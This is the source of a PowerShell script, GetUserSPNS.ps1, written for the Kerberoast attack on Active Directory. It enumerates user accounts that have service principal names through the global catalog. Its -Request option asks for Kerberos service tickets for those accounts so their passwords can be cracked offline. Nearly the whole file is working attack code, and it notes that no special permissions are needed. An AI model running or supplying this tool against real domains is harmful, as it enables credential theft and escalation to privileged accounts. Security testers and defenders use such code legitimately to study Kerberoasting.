# Edits by Tim Medin # File: GetUserSPNS.ps1 # Contents: Query the domain to find SPNs that use User accounts # Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast # The password hash used with Computer accounts are infeasible to # crack; however, if the User account associated with an SPN may have # a crackable password. This tool will find those accounts. You do not # need any special local or domain permissions to run this script. # This script on a script supplied by Microsoft (details below). # History: 2016/07/07 Tim Medin Add -UniqueAccounts parameter to only get unique SAMAccountNames # 2016/04/12 Tim Medin Added -Request option to automatically get the tickets # 2014/11/12 Tim Medin Created [CmdletBinding()] Param( [Parameter(Mandatory=$False,Position=1)] [string]$GCName, [Parameter(Mandatory=$False)] [string]$Filter, [Parameter(Mandatory=$False)] [switch]$Request, [Parameter(Mandatory=$False)] [switch]$UniqueAccounts ) Add-Type -AssemblyName System.IdentityModel $GCs = @() If ($GCName) { $GCs += $GCName } else { # find them $ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() $CurrentGCs = $ForestInfo.FindAllGlobalCatalogs() ForEach ($GC in $CurrentGCs) { #$GCs += $GC.Name $GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain } } if (-not $GCs) { # no Global Catalogs Found Write-Host "No Global Catalogs Found!" Exit } <# Things you can extract Name Value ---- ----- admincount {1} samaccountname {sqlengine} useraccountcontrol {66048} primarygroupid {513} userprincipalname {sqlengine@medin.local} instancetype {4} displayname {sqlengine} pwdlastset {130410454241766739} memberof {CN=Domain Admins,CN=Users,DC=medin,DC=local} samaccounttype {805306368} serviceprincipalname {MSSQLSvc/sql01.medin.local:1433, MSSQLSvc/sql01.medin.local} usnchanged {135252} lastlogon {130563243107145358} accountexpires {9223372036854775807} logoncount {34} adspath {LDAP://CN=sqlengine,CN=Users,DC=medin,DC=local} distinguishedname {CN=sqlengine,CN=Users,DC=medin,DC=local} badpwdcount {0} codepage {0} name {sqlengine} whenchanged {9/22/2014 6:45:21 AM} badpasswordtime {0} dscorepropagationdata {4/4/2014 2:16:44 AM, 4/4/2014 12:58:27 AM, 4/4/2014 12:37:04 AM,... lastlogontimestamp {130558419213902030} lastlogoff {0} objectclass {top, person, organizationalPerson, user} countrycode {0} cn {sqlengine} whencreated {4/4/2014 12:37:04 AM} objectsid {1 5 0 0 0 0 0 5 21 0 0 0 191 250 179 30 180 59 104 26 248 205 17... objectguid {101 165 206 61 61 201 88 69 132 246 108 227 231 47 109 102} objectcategory {CN=Person,CN=Schema,CN=Configuration,DC=medin,DC=local} usncreated {57551} #> ForEach ($GC in $GCs) { $searcher = New-Object System.DirectoryServices.DirectorySearcher $searcher.SearchRoot = "LDAP://" + $GC $searcher.PageSize = 1000 $searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))" $searcher.PropertiesToLoad.Add("serviceprincipalname") | Out-Null $searcher.PropertiesToLoad.Add("name") | Out-Null $searcher.PropertiesToLoad.Add("samaccountname") | Out-Null #$searcher.PropertiesToLoad.Add("userprincipalname") | Out-Null #$searcher.PropertiesToLoad.Add("displayname") | Out-Null $searcher.PropertiesToLoad.Add("memberof") | Out-Null $searcher.PropertiesToLoad.Add("pwdlastset") | Out-Null #$searcher.PropertiesToLoad.Add("distinguishedname") | Out-Null $searcher.SearchScope = "Subtree" $results = $searcher.FindAll() [System.Collections.ArrayList]$accounts = @() foreach ($result in $results) { foreach ($spn in $result.Properties["serviceprincipalname"]) { $o = Select-Object -InputObject $result -Property ` @{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, ` @{Name="Name"; Expression={$result.Properties["name"][0].ToString()} }, ` #@{Name="UserPrincipalName"; Expression={$result.Properties["userprincipalname"][0].ToString()} }, ` @{Name="SAMAccountName"; Expression={$result.Properties["samaccountname"][0].ToString()} }, ` #@{Name="DisplayName"; Expression={$result.Properties["displayname"][0].ToString()} }, ` @{Name="MemberOf"; Expression={$result.Properties["memberof"][0].ToString()} }, ` @{Name="PasswordLastSet"; Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, ` #@{Name="DistinguishedName"; Expression={$result.Properties["distinguishedname"][0].ToString()} } if ($UniqueAccounts) { if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) { $accounts.Add($result.Properties["samaccountname"][0].ToString()) | Out-Null $o if ($Request) { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null } } } else { $o if ($Request) { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null } } } } }